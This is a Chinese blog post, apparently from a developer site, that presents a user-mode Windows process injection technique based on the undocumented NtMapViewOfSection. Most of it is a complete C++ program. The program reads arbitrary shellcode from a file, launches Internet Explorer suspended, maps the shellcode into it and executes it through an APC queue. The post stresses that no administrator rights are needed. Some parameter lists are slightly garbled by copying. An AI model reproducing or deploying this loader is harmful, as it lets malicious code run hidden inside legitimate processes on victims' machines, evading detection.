ring3-NtMapViewOfSection注入

新的注入方式:利用一个未公开函数NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求

[cpp]  view plain  copy
  1. #define _WIN32_WINNT 0x0400  
  2. #include <windows.h>  
  3.   
  4. typedef LONG NTSTATUS, *PNTSTATUS;  
  5. #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)  
  6.   
  7. typedef enum _SECTION_INHERIT   
  8. {  
  9. ViewShare = 1,  
  10. ViewUnmap = 2  
  11. } SECTION_INHERIT;  
  12.   
  13. typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLEHANDLELPVOIDULONGSIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONGULONG );  
  14.   
  15. func_NtMapViewOfSection NtMapViewOfSection = NULL;  
  16.   
  17.   
  18. LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,   
  19. DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )    
  20. {  
  21. NTSTATUS Status;  
  22. LARGE_INTEGER SectionOffset;  
  23. ULONG ViewSize;  
  24. ULONG Protect;  
  25. LPVOID ViewBase;  
  26.   
  27.   
  28. // 转换偏移量  
  29. SectionOffset.LowPart = dwFileOffsetLow;  
  30. SectionOffset.HighPart = dwFileOffsetHigh;  
  31.   
  32. // 保存大小和起始地址  
  33. ViewBase = lpBaseAddress;  
  34. ViewSize = dwNumberOfBytesToMap;  
  35.   
  36. // 转换标志为NT保护属性  
  37. if (dwDesiredAccess & FILE_MAP_WRITE)  
  38. {  
  39. Protect = PAGE_READWRITE;  
  40. }  
  41. else if (dwDesiredAccess & FILE_MAP_READ)  
  42. {  
  43. Protect = PAGE_READONLY;  
  44. }  
  45. else if (dwDesiredAccess & FILE_MAP_COPY)  
  46. {  
  47. Protect = PAGE_WRITECOPY;  
  48. }  
  49. else  
  50. {  
  51. Protect = PAGE_NOACCESS;  
  52. }  
  53.   
  54. //映射区段  
  55. Status = NtMapViewOfSection(hFileMappingObject,  
  56. hProcess,  
  57. &ViewBase,  
  58. 0,  
  59. 0,  
  60.             &SectionOffset,  
  61. &ViewSize,  
  62.             ViewShare,  
  63.             0,  
  64. Protect);  
  65. if (!NT_SUCCESS(Status))  
  66. {  
  67. // 失败  
  68. return NULL;  
  69. }  
  70.   
  71. //返回起始地址  
  72.    return ViewBase;  
  73. }  
  74.   
  75. int WINAPI WinMain (HINSTANCEHINSTANCELPSTRint)  
  76. {  
  77. HMODULE hDll = LoadLibrary( "ntdll.dll" );  
  78.   
  79. NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");  
  80.   
  81. // 取ShellCode,任何你想实现的  
  82. HANDLE hFile = CreateFile ("C:\\shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
  83.   
  84. HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);  
  85.   
  86. // 启动目标进程  
  87. STARTUPINFO st;   
  88. ZeroMemory (&st, sizeof(st));  
  89. st.cb = sizeof (STARTUPINFO);  
  90.   
  91. PROCESS_INFORMATION pi;  
  92. ZeroMemory (&pi, sizeof(pi));  
  93.   
  94. CreateProcess ("C:\\Programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);  
  95.   
  96.   
  97. // 注入shellcode到目标进程地址空间  
  98. LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);  
  99.   
  100. // 创建一个新的能够在目标线程恢复是首先执行的APC  
  101. QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);  
  102. ResumeThread (pi.hThread);  
  103. CloseHandle (hFile);  
  104. CloseHandle (hMappedFile);  
  105. CloseHandle (pi.hThread);  
  106. CloseHandle (pi.hProcess);  
  107. return 0;  
  108. }  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值